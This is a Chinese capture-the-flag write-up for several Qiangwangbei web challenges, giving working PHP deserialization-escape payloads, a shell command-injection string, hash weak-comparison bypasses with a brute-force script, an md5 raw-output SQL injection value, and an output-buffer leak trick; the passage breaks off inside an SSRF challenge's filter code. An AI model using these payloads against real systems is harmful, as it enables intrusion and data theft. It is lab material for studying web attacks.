第四届强网杯 部分wp

web辅助

存在read和write函数,将字符进行了替换,替换长度会发生变化,那么存在反序列化逃逸,可以进行对象注入

class.php中:topsolo类销毁触发__destruct执行TP()方法,然后让$namemidsolo类,将该对象作为方法会执行触发midsolo__invoke方法,会调用Gank()方法,该方法用stristr函数比较字符串,让$namejungle类触发__toString拿到flag

其中midsolo类存在__wakeup方法,会在反序列化时构造时修改$name属性,那么将属性个数改为大于原有属性个数即可bypass;反序列化时调用了check函数检测是否存在字符串name,只需将序列号字符格式s改为S,这样便可将后面的值用16进制的格式\xx表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}

function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}

class player{
protected $user;
protected $pass;
protected $admin;
function __construct($user, $pass){
$this->user = $user;
$this->pass = $pass;
}
}

class topsolo{
protected $name;
function __construct($name){
$this->name = $name;
}
}

class midsolo{
protected $name;
function __construct($name){
$this->name = $name;
}
}

class jungle{
protected $name = "";
}

// $a = new midsolo(new jungle());
// $b = new topsolo($a);
// echo serialize($b);


$c = new player('\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0', ';s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\00\2a\00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\00\2a\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\00\2a\00\6e\61\6d\65";s:0:"";}}}');
echo read(write(serialize($c)));

flag:

flag{e5336784-246a-4ac3-946e-351ae5d4f6c3}

主动

命令执行,用分号闭合前面的语句,然后后面跟上要执行的命令即可:

?ip=127.0.0.1;cat%20*

查看html源码拿到flag:

flag{I_like_qwb_web}

Funhash

第一关爆破,由于用弱比较,找出0e开头、后面为纯数字的字符串,md4后仍为0e开头,后面为纯数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding=utf8
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
import sys

def MD4(m):
md4 = hashlib.new('md4')
md4.update(m)
return md4.hexdigest()


keyMd4 = '0e'
starts = 0
length = 2


def findmd4(sss):
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
i = str(i)
i = '0e' + i
res = MD4(str(i))[starts:length]
if res == keyMd4:
try:
a = int(MD4(i)[2:]) # 找出0e后面为纯数字的i
print i
sys.exit()
except Exception as e:
pass


list=[] # 参数列表
for i in range(100): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd4, list) # 函数 与参数列表
pool.close()
pool.join()

得到:

0e251288019

第二关强比较,用数组即可绕过:

hash2[]=2&hash3[]=1

第三关md5第三参数用了true,会返回16位原始二进制格式的字符串,用字符串ffifdyop,它经过md5转换后会成为'or '这种形式

payload:

hash1=0e251288019&hash2[]=2&hash3[]=1&hash4=ffifdyop

flag:

flag{y0u_w1ll_l1ke_h4sh}

bank

首先是一个sha256的碰撞,在网上找了个脚本改一下就行:

1
https://github.com/hydewww/sha256-go

然后利用逻辑错误,将发送的amount改成负的,没有经过判断就直接减去amount,会反过来增加

flag{de1df745ef1b0a643f595c96732180bf}

half_infiltration

这个真是累死都没想出来,怎样用global制造fatal error呢,原来是用this,55555

题目描述:

1
2. 鉴于本题目的阿里云服务器会ban ip,决定放出一个可通过扫描获得的内网目录,在内网index.php同目录下有一个uploads;1. 请仔细查看内网页面的html代码以及参数,内网功能很容易猜测

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
highlight_file(__FILE__);

$flag=file_get_contents('ssrf.php');

class Pass
{


function read()
{
ob_start();
global $result;
print $result;

}
}

class User
{
public $age,$sex,$num;

function __destruct()
{
$student = $this->age;
$boy = $this->sex;
$a = $this->num;
$student->$boy();
if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student)))
{
ob_end_clean();
exit();
}
global $$a;
$result=$GLOBALS['flag'];
ob_end_clean();
}
}

if (isset($_GET['x'])) {
unserialize($_GET['x'])->get_it();
}

如果存在fatal error,那么缓存区的内容将被正确输出,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Pass{
}

class User{
public $age,$sex,$num;
}

$q = new User;
$q->age = new Pass;
$q->sex = 'read';
$q->num = 'result';

$c = new User;
$c->age = new Pass;
$c->sex = 'read';
$c->num = 'this';

$ser = serialize([$q,$c]);
var_dump($ser);
?>

序列化两个对象,第一个的作用主要是将$result进行global,第二个对象执行Pass->read()便可将$result输出到缓冲区,之后利用global this产生error来抛出缓冲区内容

另:反序列化直接产生fatal error payload(利用抽象类或接口):

1
O:11:"Traversable":0:{}

得到ssrf.php内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");<